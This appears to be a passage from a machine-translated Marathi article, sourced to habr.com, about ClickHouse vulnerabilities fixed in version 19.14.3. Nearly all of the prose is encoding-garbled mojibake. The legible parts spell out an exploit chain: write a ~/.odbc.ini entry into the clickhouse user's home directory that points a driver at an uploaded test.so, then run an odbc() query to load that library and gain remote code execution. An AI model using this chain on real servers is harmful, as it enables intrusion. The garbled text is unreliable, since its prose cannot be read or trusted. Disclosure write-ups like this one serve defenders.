рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рдЪреЗ рдЕрд╕рдгреЗ рдЖрд╡рд╢реНрдпрдХ рдЖрд╣реЗ root.

ODBC рддреЗ RCE

рдкреЕрдХреЗрдЬ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рддрд╛рдирд╛, рд╡рд╛рдкрд░рдХрд░реНрддрд╛ рддрдпрд╛рд░ рдХреЗрд▓рд╛ рдЬрд╛рддреЛ clickhouse, рдкрд░рдВрддреБ рддреНрдпрд╛рдЪреА рд╣реЛрдо рдбрд┐рд░реЗрдХреНрдЯрд░реА рддрдпрд╛рд░ рдХреЗрд▓реЗрд▓реА рдирд╛рд╣реА /nonexistent. рддрдерд╛рдкрд┐, рдмрд╛рд╣реНрдп рд╢рдмреНрджрдХреЛрд╢ рд╡рд╛рдкрд░рддрд╛рдирд╛, рдХрд┐рдВрд╡рд╛ рдЗрддрд░ рдХрд╛рд░рдгрд╛рдВрд╕рд╛рдареА, рдкреНрд░рд╢рд╛рд╕рдХ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рддрдпрд╛рд░ рдХрд░рддрд╛рдд /nonexistent рдЖрдгрд┐ рд╡рд╛рдкрд░рдХрд░реНрддреНрдпрд╛рд▓рд╛ рджреНрдпрд╛ clickhouse рддреНрдпрд╛рд╡рд░ рд▓рд┐рд╣рд┐рдгреНрдпрд╛рд╕рд╛рдареА рдкреНрд░рд╡реЗрд╢ (SSZB! рдЕрдВрджрд╛рдЬреЗ рдЕрдиреБрд╡рд╛рджрдХ).

рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕ рд╕рдкреЛрд░реНрдЯ рдХрд░рддреЗ ODBC рдЖрдгрд┐ рдЗрддрд░ рдбреЗрдЯрд╛рдмреЗрд╕рд╢реА рдХрдиреЗрдХреНрдЯ рд╣реЛрдК рд╢рдХрддрд╛рдд. ODBC рдордзреНрдпреЗ, рддреБрдореНрд╣реА рдбреЗрдЯрд╛рдмреЗрд╕ рдбреНрд░рд╛рдпрд╡реНрд╣рд░ рд▓рд╛рдпрдмреНрд░рд░реАрдЪрд╛ рдорд╛рд░реНрдЧ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реВ рд╢рдХрддрд╛ (.so). рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕рдЪреНрдпрд╛ рдЬреБрдиреНрдпрд╛ рдЖрд╡реГрддреНрддреНрдпрд╛рдВрдиреА рддреБрдореНрд╣рд╛рд▓рд╛ рд╣реЗ рдереЗрдЯ рд╡рд┐рдирдВрддреА рд╣рдБрдбрд▓рд░рдордзреНрдпреЗ рдХрд░рдгреНрдпрд╛рдЪреА рдкрд░рд╡рд╛рдирдЧреА рджрд┐рд▓реА, рдкрд░рдВрддреБ рдЖрддрд╛ рдХрдиреЗрдХреНрд╢рди рд╕реНрдЯреНрд░рд┐рдВрдЧрдЪреА рдЕрдзрд┐рдХ рдХрдареЛрд░ рддрдкрд╛рд╕рдгреА рдЬреЛрдбрд▓реА рдЧреЗрд▓реА рдЖрд╣реЗ odbc-bridge, рддреНрдпрд╛рдореБрд│реЗ рд╡рд┐рдирдВрддреАрд╡рд░реВрди рдбреНрд░рд╛рдпрд╡реНрд╣рд░ рдорд╛рд░реНрдЧ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдгреЗ рдпрд╛рдкреБрдвреЗ рд╢рдХреНрдп рд╣реЛрдгрд╛рд░ рдирд╛рд╣реА. рдкрд░рдВрддреБ рдЖрдХреНрд░рдордгрдХрд░реНрддрд╛ рд╡рд░ рд╡рд░реНрдгрди рдХреЗрд▓реЗрд▓реА рдЕрд╕реБрд░рдХреНрд╖рд╛ рд╡рд╛рдкрд░реВрди рд╣реЛрдо рдбрд┐рд░реЗрдХреНрдЯрд░реАрдордзреНрдпреЗ рд▓рд┐рд╣реВ рд╢рдХрддреЛ рдХрд╛?

рдЪрд▓рд╛ рдПрдХ рдлрд╛рдИрд▓ рдмрдирд╡реВ ~/.odbc.ini рдпрд╛рд╕рд╛рд░рдЦреНрдпрд╛ рд╕рд╛рдордЧреНрд░реАрд╕рд╣:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

рдирдВрддрд░ рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рд╡рд░ SELECT * FROM odbc('DSN=lalala', 'test', 'test'); рд▓рд╛рдпрдмреНрд░рд░реА рд▓реЛрдб рдХреЗрд▓реА рдЬрд╛рдИрд▓ test.so рдЖрдгрд┐ RCE рдкреНрд░рд╛рдкреНрдд рдХреЗрд▓реЗ (рдзрдиреНрдпрд╡рд╛рдж рдмрдЧрд▓реЙрдХ рдЯреАрдк рд╕рд╛рдареА).

рдпрд╛ рдЖрдгрд┐ рдЗрддрд░ рднреЗрджреНрдпрддрд╛ ClickHouse рдЖрд╡реГрддреНрддреА 19.14.3 рдордзреНрдпреЗ рдирд┐рд╢реНрдЪрд┐рдд рдХреЗрд▓реНрдпрд╛ рдЖрд╣реЗрдд. рддреБрдордЪреНрдпрд╛ рдХреНрд▓рд┐рдХрд╣рд╛рдКрд╕ рдЖрдгрд┐ рдЭреВрдХреАрдкрд░реНрд╕рдЪреА рдХрд╛рд│рдЬреА рдШреНрдпрд╛!

рд╕реНрддреНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╛